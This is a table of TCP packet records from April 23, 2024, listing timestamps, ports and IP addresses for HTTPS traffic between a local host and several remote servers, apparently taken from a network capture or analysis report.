Apr 23, 2024 23:02:20.120995045 CEST	443	49795	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:20.131340027 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.131381035 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.131417990 CEST	49791	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.131424904 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.131453037 CEST	49791	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.138288975 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.138353109 CEST	49791	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.138360977 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.149867058 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.149887085 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.149946928 CEST	49791	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.149954081 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.149988890 CEST	49791	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.157350063 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.157428026 CEST	49791	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.157444000 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.166610003 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.166673899 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.166806936 CEST	49791	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.166806936 CEST	49791	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.166825056 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.170572996 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.170633078 CEST	49791	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.170644045 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.178865910 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.178889036 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.178941011 CEST	49791	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.178950071 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.178983927 CEST	49791	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.183701992 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.183773041 CEST	49791	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.183780909 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.190741062 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.190758944 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.190807104 CEST	49791	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.190814018 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.190845966 CEST	49791	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.194159031 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.194251060 CEST	49791	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.194259882 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.201916933 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.201935053 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.201983929 CEST	49791	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.201992989 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.202025890 CEST	49791	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.205154896 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.205234051 CEST	49791	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.205241919 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.211968899 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.211987972 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.212083101 CEST	49791	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.212091923 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.215065956 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.215131998 CEST	49791	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.215142012 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.218033075 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.218087912 CEST	49791	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.218094110 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.218152046 CEST	49791	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.218158007 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.218189955 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.218986988 CEST	49791	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.225922108 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.225970984 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.226003885 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.226022959 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.226035118 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.226064920 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.226130009 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.226177931 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.226193905 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.226202011 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.226228952 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.226300001 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.226305008 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.226332903 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.226356983 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.226373911 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.226387024 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.226449013 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.348994970 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.349041939 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.349085093 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.349096060 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.349150896 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.349163055 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.349253893 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.349294901 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.349303961 CEST	49791	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.349318981 CEST	443	49791	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.349323988 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.349329948 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.349356890 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.349379063 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.349441051 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.349486113 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.349502087 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.349509001 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.349536896 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.349556923 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.349632025 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.349668980 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.349693060 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.349699020 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.349733114 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.349817991 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.349857092 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.349885941 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.349904060 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.349926949 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.349957943 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.350039005 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.350076914 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.350102901 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.350107908 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.350127935 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.350147963 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.350173950 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.350198030 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.350214005 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.350233078 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.350249052 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.350267887 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.350301027 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.350430965 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.350521088 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.353140116 CEST	443	49795	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:20.418649912 CEST	49797	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.418721914 CEST	443	49797	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.418817043 CEST	49797	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.419059038 CEST	49798	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.419086933 CEST	443	49798	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.419322014 CEST	49799	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.419339895 CEST	49798	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.419348001 CEST	443	49799	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.419481993 CEST	49799	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.419773102 CEST	49797	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.419811964 CEST	443	49797	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.420346975 CEST	49798	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.420363903 CEST	443	49798	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.420641899 CEST	49799	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.420665026 CEST	443	49799	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.421439886 CEST	49800	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.421500921 CEST	443	49800	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.421577930 CEST	49800	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.421768904 CEST	49800	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.421787977 CEST	443	49800	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.472455025 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.472528934 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.472565889 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.472585917 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.472620010 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.472640038 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.472667933 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.472714901 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.472734928 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.472742081 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.472769022 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.472785950 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.473193884 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.473233938 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.473261118 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.473267078 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.473297119 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.473308086 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.473447084 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.473489046 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.473504066 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.473510981 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.473550081 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.473593950 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.473634958 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.473675966 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.473701954 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.473707914 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.473743916 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.473761082 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.473892927 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.473942995 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.473956108 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.473989010 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.473999023 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.474037886 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.474124908 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.474173069 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.474191904 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.474198103 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.474236965 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.474248886 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.474322081 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.474359989 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.474391937 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.474397898 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.474462032 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.474462032 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.474476099 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.474515915 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.474534035 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.474540949 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.474570036 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.474589109 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.474708080 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.474752903 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.474776030 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.474787951 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.474818945 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.474838972 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.474940062 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.474981070 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.475003004 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.475008965 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.475033998 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.475052118 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.475083113 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.475126028 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.475147009 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.475152969 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.475178003 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.475194931 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.475281000 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.475328922 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.475353003 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.475359917 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.475402117 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.475402117 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.475459099 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.475497961 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.475529909 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.475536108 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.475564957 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.475579023 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.477458000 CEST	49795	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:20.477468014 CEST	443	49795	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:20.479094028 CEST	443	49795	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:20.479110003 CEST	443	49795	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:20.479146004 CEST	49795	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:20.502851009 CEST	49777	443	192.168.2.4	20.110.205.119
Apr 23, 2024 23:02:20.518848896 CEST	49781	443	192.168.2.4	3.163.101.92
Apr 23, 2024 23:02:20.548130035 CEST	443	49777	20.110.205.119	192.168.2.4
Apr 23, 2024 23:02:20.560167074 CEST	443	49781	3.163.101.92	192.168.2.4
Apr 23, 2024 23:02:20.595485926 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.595565081 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.595566988 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.595597029 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.595627069 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.595655918 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.595709085 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.595751047 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.595762968 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.595772028 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.595808029 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.595889091 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.595946074 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.595976114 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.596139908 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.596191883 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.596488953 CEST	49793	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:20.596504927 CEST	443	49793	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:20.612947941 CEST	49805	443	192.168.2.4	104.208.16.92
Apr 23, 2024 23:02:20.612962961 CEST	443	49805	104.208.16.92	192.168.2.4
Apr 23, 2024 23:02:20.613271952 CEST	49805	443	192.168.2.4	104.208.16.92
Apr 23, 2024 23:02:20.613503933 CEST	49805	443	192.168.2.4	104.208.16.92
Apr 23, 2024 23:02:20.613528967 CEST	443	49805	104.208.16.92	192.168.2.4
Apr 23, 2024 23:02:20.626826048 CEST	49795	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:20.627099991 CEST	443	49795	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:20.630150080 CEST	49806	443	192.168.2.4	23.101.168.44
Apr 23, 2024 23:02:20.630213976 CEST	443	49806	23.101.168.44	192.168.2.4
Apr 23, 2024 23:02:20.630501986 CEST	49806	443	192.168.2.4	23.101.168.44
Apr 23, 2024 23:02:20.630758047 CEST	49806	443	192.168.2.4	23.101.168.44
Apr 23, 2024 23:02:20.630788088 CEST	443	49806	23.101.168.44	192.168.2.4
Apr 23, 2024 23:02:20.637686968 CEST	443	49797	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.637950897 CEST	49797	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.637975931 CEST	443	49797	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.638478994 CEST	443	49797	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.638860941 CEST	49797	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.638891935 CEST	443	49798	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.638947010 CEST	443	49797	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.639024019 CEST	49797	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.639172077 CEST	49798	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.639183998 CEST	443	49798	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.639678955 CEST	443	49798	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.640079021 CEST	49798	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.640180111 CEST	443	49798	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.640244961 CEST	49798	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.640399933 CEST	443	49800	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.640600920 CEST	49800	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.640618086 CEST	443	49800	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.642046928 CEST	443	49800	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.642115116 CEST	49800	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.642132998 CEST	443	49781	3.163.101.92	192.168.2.4
Apr 23, 2024 23:02:20.642364979 CEST	443	49781	3.163.101.92	192.168.2.4
Apr 23, 2024 23:02:20.642430067 CEST	49800	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.642445087 CEST	49781	443	192.168.2.4	3.163.101.92
Apr 23, 2024 23:02:20.642507076 CEST	443	49800	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.642734051 CEST	49800	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.642740965 CEST	443	49800	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.643292904 CEST	49781	443	192.168.2.4	3.163.101.92
Apr 23, 2024 23:02:20.643306971 CEST	443	49781	3.163.101.92	192.168.2.4
Apr 23, 2024 23:02:20.645261049 CEST	49807	443	192.168.2.4	3.163.101.92
Apr 23, 2024 23:02:20.645289898 CEST	443	49807	3.163.101.92	192.168.2.4
Apr 23, 2024 23:02:20.645351887 CEST	49807	443	192.168.2.4	3.163.101.92
Apr 23, 2024 23:02:20.645503998 CEST	49807	443	192.168.2.4	3.163.101.92
Apr 23, 2024 23:02:20.645518064 CEST	443	49807	3.163.101.92	192.168.2.4
Apr 23, 2024 23:02:20.645685911 CEST	443	49799	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.645908117 CEST	49799	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.645926952 CEST	443	49799	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.646899939 CEST	443	49799	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.646955013 CEST	49799	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.647353888 CEST	49799	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.647411108 CEST	443	49799	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.647511959 CEST	49799	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.647519112 CEST	443	49799	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.680126905 CEST	443	49797	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.688128948 CEST	443	49798	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.690387011 CEST	49795	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:20.690408945 CEST	443	49795	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:20.690442085 CEST	49800	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.789495945 CEST	443	49777	20.110.205.119	192.168.2.4
Apr 23, 2024 23:02:20.789604902 CEST	443	49777	20.110.205.119	192.168.2.4
Apr 23, 2024 23:02:20.789655924 CEST	49777	443	192.168.2.4	20.110.205.119
Apr 23, 2024 23:02:20.791412115 CEST	49777	443	192.168.2.4	20.110.205.119
Apr 23, 2024 23:02:20.791444063 CEST	443	49777	20.110.205.119	192.168.2.4
Apr 23, 2024 23:02:20.792087078 CEST	49779	443	192.168.2.4	13.107.21.237
Apr 23, 2024 23:02:20.792443037 CEST	49795	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:20.840117931 CEST	443	49779	13.107.21.237	192.168.2.4
Apr 23, 2024 23:02:20.856127977 CEST	443	49799	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.856224060 CEST	49799	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.860337019 CEST	443	49797	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.860368013 CEST	443	49797	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.860394001 CEST	443	49797	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:20.860439062 CEST	49797	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:20.860469103 CEST	443	49797	23.11.231.163	192.168.2.4
